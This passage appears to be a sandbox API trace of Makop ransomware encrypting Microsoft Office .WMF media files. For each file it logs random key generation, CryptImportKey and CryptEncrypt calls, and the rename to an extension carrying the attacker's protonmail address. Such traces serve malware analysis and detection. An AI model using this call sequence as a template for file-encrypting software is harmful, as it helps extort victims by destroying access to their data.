[0162.010] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF") returned 61 [0162.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.012] GetProcessHeap () returned 0x48a0000 [0162.012] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.012] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0162.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.016] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.016] GetProcessHeap () returned 0x48a0000 [0162.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.016] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.016] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.017] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.018] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.018] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d94, lpOverlapped=0x0) returned 1 [0162.020] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1da0) returned 1 [0162.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1da0, lpOverlapped=0x0) returned 1 [0162.020] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.020] SetEndOfFile (hFile=0xf0) returned 1 [0162.028] GetProcessHeap () returned 0x48a0000 [0162.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.028] GetProcessHeap () returned 0x48a0000 [0162.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.028] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.032] CloseHandle (hObject=0xf0) returned 1 [0162.032] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0162.032] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF") returned 61 [0162.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.033] GetProcessHeap () returned 0x48a0000 [0162.033] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.033] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.033] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.033] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0162.038] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.038] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.038] GetProcessHeap () returned 0x48a0000 [0162.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.038] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.038] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1426, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1426, lpOverlapped=0x0) returned 1 [0162.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1430, dwBufLen=0x1430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1430) returned 1 [0162.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1430, lpOverlapped=0x0) returned 1 [0162.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.042] SetEndOfFile (hFile=0xf0) returned 1 [0162.049] GetProcessHeap () returned 0x48a0000 [0162.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.049] GetProcessHeap () returned 0x48a0000 [0162.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.049] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.051] CloseHandle (hObject=0xf0) returned 1 [0162.051] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0162.051] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF") returned 61 [0162.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.054] GetProcessHeap () returned 0x48a0000 [0162.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.059] GetProcessHeap () returned 0x48a0000 [0162.059] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.059] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.059] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.060] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4d38, lpOverlapped=0x0) returned 1 [0162.062] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d40, dwBufLen=0x4d40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d40) returned 1 [0162.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4d40, lpOverlapped=0x0) returned 1 [0162.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.063] SetEndOfFile (hFile=0xf0) returned 1 [0162.070] GetProcessHeap () returned 0x48a0000 [0162.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.070] GetProcessHeap () returned 0x48a0000 [0162.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.070] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.072] CloseHandle (hObject=0xf0) returned 1 [0162.072] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0162.072] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF") returned 61 [0162.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.073] GetProcessHeap () returned 0x48a0000 [0162.073] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.073] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.078] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.078] GetProcessHeap () returned 0x48a0000 [0162.078] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.078] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.078] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.079] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.079] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.080] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7018, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7018, lpOverlapped=0x0) returned 1 [0162.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7020, dwBufLen=0x7020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7020) returned 1 [0162.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7020, lpOverlapped=0x0) returned 1 [0162.083] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x70f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.083] SetEndOfFile (hFile=0xf0) returned 1 [0162.090] GetProcessHeap () returned 0x48a0000 [0162.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.090] GetProcessHeap () returned 0x48a0000 [0162.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.090] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft 